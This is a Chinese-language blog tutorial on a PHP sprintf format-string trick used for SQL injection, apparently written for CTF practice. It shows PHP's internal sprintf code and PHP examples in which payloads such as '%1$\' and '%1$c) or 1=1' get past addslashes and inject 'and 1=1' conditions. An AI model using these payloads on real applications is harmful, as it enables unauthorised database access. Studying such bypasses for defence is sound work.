解析php sprintf函数漏洞
php sprintf函数漏洞
0x01 了解sprintf()函数
1,sprintf(),函数是php中的函数
2,作用是将格式化字符串写入变量中
3,函数形式为sprintf(format,arg1,arg2,arg++)
参数说明:
参数 | 描述 |
format |
必需。规定字符串以及如何格式化其中的变量。 可能的格式值: %% - 返回一个百分号 % %b - 二进制数 %c - ASCII 值对应的字符 %d - 包含正负号的十进制数(负数、0、正数) %e - 使用小写的科学计数法(例如 1.2e+2) %E - 使用大写的科学计数法(例如 1.2E+2) %u - 不包含正负号的十进制数(大于等于 0) %f - 浮点数(本地设置) %F - 浮点数(非本地设置) %g - 较短的 %e 和 %f %G - 较短的 %E 和 %f %o - 八进制数 %s - 字符串 %x - 十六进制数(小写字母) %X - 十六进制数(大写字母) 附加的格式值。必需放置在 % 和字母之间(例如 %.2f): + (在数字前面加上 + 或 - 来定义数字的正负性。默认情况下,只有负数才做标记,正数不做标记) ' (规定使用什么作为填充,默认是空格。它必须与宽度指定器一起使用。例如:%'x20s(使用 "x" 作为填充)) - (左调整变量值) [0-9] (规定变量值的最小宽度) .[0-9] (规定小数位数或最大字符串长度) 注释:如果使用多个上述的格式值,它们必须按照以上顺序使用。 |
arg1 | 必需。规定插到 format 字符串中第一个 % 符号处的参数。 |
arg2 | 可选。规定插到 format 字符串中第二个 % 符号处的参数。 |
arg++ | 可选。规定插到 format 字符串中第三、四等 % 符号处的参数。 |
**若%符号多于arg参数,则需要占位符,占位符格式为“%number\$” 其中number表示该项与第几个arg匹配,如若与第一个匹配 则占位符为“%1\$”
以下是一些例子帮助更好的理解sprintf()函数:
#1.不带占位符的:
<?php
$num1=9999;
$char=96;
echo sprintf("%%b=%b",$num1)."</br>";
echo sprintf("%%c=%c",$char)."</br>";
echo sprintf("%%s=%s",$num1)."</br>";
echo sprintf("%%x=%x",$num1)."</br>";
?>
输出结果:
%b=10011100001111
%c=`
%s=9999
%x=270f
#2.带有占位符:
<?php
$num=123;
sprintf("the number is %1\$d",&num);
?>
结果:
the number is 123
0x02 sprintf()的注入原理
sprintf()的底层实现方法
switch (format[inpos]) {
case 's':
{
zend_string * t;
zend_string * str = zval_get_tmp_string(tmp, &t);
php_sprintf_appendstring( & result, &outpos, ZSTR_VAL(str), width, precision, padding, alignment, ZSTR_LEN(str), 0, expprec, 0);
zend_tmp_string_release(t);
break;
}
case 'd':
php_sprintf_appendint( & result, &outpos, zval_get_long(tmp), width, padding, alignment, always_sign);
break;
case 'u':
php_sprintf_appenduint( & result, &outpos, zval_get_long(tmp), width, padding, alignment);
break;
case 'g':
case 'G':
case 'e':
case 'E':
case 'f':
case 'F':
php_sprintf_appenddouble( & result, &outpos, zval_get_double(tmp), width, padding, alignment, precision, adjusting, format[inpos], always_sign);
break;
case 'c':
php_sprintf_appendchar( & result, &outpos, (char) zval_get_long(tmp));
break;
case 'o':
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 3, hexchars, expprec);
break;
case 'x':
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, hexchars, expprec);
break;
case 'X':
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, HEXCHARS, expprec);
break;
case 'b':
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 1, hexchars, expprec);
break;
case '%':
php_sprintf_appendchar( & result, &outpos, '%');
break;
default:
break;
}
通过底层实现代码可以发现,sprintf()方法就是对15种类型做了匹配,15种类型以外的就直接break了没有做任何处理,所以就会导致一个问题:
如果我们输入"%\"或者"%1$\",他会把反斜杠当做格式化字符的类型,然而找不到匹配的项那么"%\","%1$\"就因为没有经过任何处理而被替换为空。
因此sprintf注入的原理就是
我们用一个15种类型之外的"\" 来代替格式字符类型让函数替换为空,则“%1$\'”后面的单引号就能闭合前面的单引号,以下是一些例子帮助我们更好的理解
#1.不带占位符的
<?php
$sql="select * from user where username='%\' and 1=1 #';";
$user='admin';
echo sprintf($sql,$user);
?>
运行结果:
select * from user where username='' and 1=1 #';
注意:username=''这里是两个单引号不是双引号
#2.带有占位符:
<?php
//addslashes()函数:在预定义前面加反斜杠,预定义符有单引号('),双引号("),反斜杠(\),NULL
$input = addslashes ("%1$' and 1=1#" );
$b = sprintf ("AND b='%s'", $input );
$sql = sprintf ("SELECT * FROM t WHERE a='%s' $b ", 'admin' );
//对$input与$b进行了拼接
//$sql = sprintf ("SELECT * FROM t WHERE a='%s' AND b='%1$\' and 1=1#' ", 'admin' );
//很明显,这个句子里面的\是由addsashes为了转义单引号而加上的,使用%s与%1$\类匹配admin,那么admin只会出现在%s里,%1$\为空
echo $sql ;
?>
运行结果:
SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'
#3.%c的利用
<?php
$input1='%1$c) or 1=1 /*';
$input2=39;
$sql="select * from foo where bar in('$input1') and baz=%s";
$sql=sprintf($sql,$input2);
echo $sql;
?>
运行结果:
select * from foo where bar in('') or 1=1 /*') and baz=39
0x04总结
漏洞利用条件
1、sql语句进行了字符拼接
2、拼接语句和原sql语句都用了vsprintf/sprintf 函数来格式化字符串
相关题目练习:https://blog.csdn.net/WQ_BCJ/article/details/85215662
最新文章
- linux琐碎知识点
- Java [Leetcode 206]Reverse Linked List
- 数据库语言(二):SQL语法实例整理
- 作为 .Net 攻城师,所必需掌握的 .Net Profiling 技术
- unity 引用 移动mm 支付sdk
- web开发第一周
- 深入浅出NodeJS——异步I/O
- Maven学习笔记(三) :Maven使用入门
- 【css技能提升】css高级技巧
- vuex在项目中使用的一点总结
- 【JavaScript】对象
- Java SE之反射技术[Class](三)
- js滚动分页原理
- 【PyQt5-Qt Designer】液晶显示屏(QLCDNumber)
- cookie 和 session 的一些事 中间件
- iframe-metamask
- 2018 Multi-University Training Contest 3 Solution
- 数据压缩算法之哈夫曼编码(HUFFMAN)的实现
- 001-spring结合quartz使用
- vs2013 浏览器 browserlink 不停访问